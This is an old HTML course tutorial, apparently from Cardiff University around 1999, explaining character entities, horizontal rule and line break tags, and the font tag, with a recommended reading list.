$^{1}{}_{2}$

---

dave@cs.cf.ac.uk

Special Characters

Certain characters need to be referred to in a special way. these include:

- Character strings that represent special symbols, *e.g.*
  - &amp for &
  - &gt for >
  - &quot for double quote (``)

---

dave@cs.cf.ac.uk

Horizontal rules and Line breaks

There are two tags that can be used to control the layout of your page.

- Horizontal Rule `<hr>`
- Line break `<br>` -- inserts a end of line where it appear

Neither have a closing tag or associated text.

Their use is fairly straightforward.

Horizontal Rule `<hr>`

The `<hr>` has 4 attributes that may be associated with it.

- The `size` attribute to specify thickness of line in pixels (pixels are individual dots displayed on the screen).

  For example:

  ```
  <b>2 Pixels</b><br>
  <hr size=2>
  <b>4 Pixels</b><br>
  <hr size=4>
  <b>8 Pixels</b><br>
  <hr size=8>
  <b>16 Pixels</b><br>
  <hr size=16>
  ```

  Which looks like this:

  2 Pixels

  4 Pixels

  8 Pixels

  16 Pixels

- The `align` attribute can be with Horizontal Rule.
- The `width` attribute to specify width of line in pixels or percentage of screen width.

  For example:

  ```
  <b>100%</b>
  <hr width=100% align=left>
  <br><br>
  ```

```
<b>75%</b>
<hr width=75%  align=left>
<br><br>
<b>50%</b>
<hr width=50%  align=left>
<br><br>
<b>25%</b>
<hr width=25% align=left>
<br><br>
<b>10%</b>
<hr width=10%  align=left>
```

Which looks like this:

100%

75%

50%

25%

10%

- The `noshade` attribute to specify that a plain black line is to be drawn as opposed to (default) 3D shading. `noshade` has no value assigned to it.

  For example:

```
<b>Default Shaded Horizontal Rule </b>
<hr>
<br><br>
<b>No Shade Horizontal Rule </b>
<hr  noshade>
```

  Which looks like this:

  Default Shaded Horizontal Rule

  No Shade Horizontal Rule

Putting the above together we can create so simple effects. For Example:

The HTML code to achieve this is relatively straightforward:

```
<HR WIDTH=40% ALIGN=CENTER>
<HR WIDTH=30% ALIGN=CENTER>
<HR WIDTH=20% ALIGN=CENTER>
<HR WIDTH=10% ALIGN=CENTER>
```

---

dave@cs.cf.ac.uk

Fonts and Font Sizes

The `<font>` tag is used to change the font size and type face of text enclosed between the begin and end tag.

- The `size` attribute changes the size of the font. Allowed values are 1 to 7.
  - size attributes can be incremented or decrements with + operator **within the above range**. *E.g* `size = +2`.
- The `face` attribute to select a type face. *E.g.* `face = "futura,helvetica"`
  - Browsers currently have limited font type face support.
  - Availability of fonts vary across browsers and platforms.
  - Names of fonts vary across browsers and platforms.
  - font `face` is not that relevant to this course.

Example uses of `font` tag:

```
<P><font face="Futura,Helvetica">Sans Serif fonts are fonts without
the small "ticks" on the strokes of the characters. </font></P>
```

looks like this:

Sans Serif fonts are fonts without the small "ticks" on the strokes of the characters.

```
<P>Normal font size. <font size=5>Larger font size.</font></P>
```

looks like this:

Normal font size. <font size=5>Larger font size.</font>

```
<font size=1>font size 1</font><br>
        <font size=2>font size 2</font><br>
<font size=3>font size 3</font><br>
        <font size=4>font size 4</font><br>
<font size=5>font size 5</font><br>
<font size=6>font size 6</font><br>
        <font size=7>font size 7</font><br>
```

looks like this:

font size 1
font size 2
font size 3
font size 4
font size 5
font size 6
font size 7

---

dave@cs.cf.ac.uk

Recommended Reading

- **Teach Yourself Web Publishing with HTML 3.2 in 14 Days**, *Laura Lemay*, Sams.Net Publishing.
- **The Internet Unleashed,** *J. Ellsworth, B. Baron, et al.*, Sams.Net Publishing
- **The Internet Complete Reference(2nd Ed.),** *H. Hahn*, McGraw-Hill
- **Webmaster in a Nutshell**, *S. Spainhour and V. Quercia*, O'Reilly and Associates Inc.
- **Every Student's Guide to the World Wide Web**, *K. Pitter and R. Minato*, McGraw Hill
- **HTML Sourcebook**, *I.S. Graham*, Wiley and Sons
- **HTML: The Definitive Guide**, *C. Musciano and B. Kennedy*, O'Reilly and Associates Inc.

A comprehensive guide to all Internet related books is available at

---

dave@cs.cf.ac.uk

About this document ...

Practical Perl Programming

This document was generated using the **LaTeX**2HTML translator Version 97.1 (release) (July 13th, 1997)

Copyright © 1993, 1994, 1995, 1996, 1997, Nikos Drakos, Computer Based Learning Unit, University of Leeds.

The command line arguments were:
latex2html `-address dave@cs.cf.ac.uk perl_caller.tex`.

The translation was initiated by Dave Marshall on 12/8/1999

---

dave@cs.cf.ac.uk